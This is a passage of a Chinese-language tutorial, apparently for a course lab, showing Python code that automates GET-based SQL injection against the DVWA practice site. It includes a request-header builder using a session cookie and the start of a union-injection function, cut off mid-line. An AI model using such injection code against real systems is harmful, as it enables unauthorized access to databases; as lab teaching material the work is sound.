SQL注入
概念等就不做介绍了,前人之述备矣。
本代码仅完成了get方式的注入,只针对了dvwa靶场中sql注入和盲注low部分的自动注入。(为了完成课程实验,因为dvwa里low级别注入方式是字符型的注入方式,因此我也减少了判断是数字注入还是字符注入,但要实现也容易,判断完类型后在构造sql语句中是否加“ ’ ”)
需要先构造http头部信息:
def get_header(url, cookie): # 生成头部信息
ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}', url).group()
headers = {
'Host': f'{ip}',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer': f'{url}',
'Connection': 'close',
'Cookie': f'security=low; PHPSESSID={cookie}',
'Upgrade-Insecure-Requests': '1'
}
return headers, ip
下面是各部分代码:
联合注入
根据构造注入的sql语句,url和头部信息,获取到页面,当页面出现Unknown时表示注入错误,当注入正确时会返回页面信息。
def sql_union_inject(sql, url, headers):
str = f'?id={sql}&Submit=Submit#'
printf("正在猜解:" + url + str)
recv = requests.get(url + str, headers=headers).text
if recv.find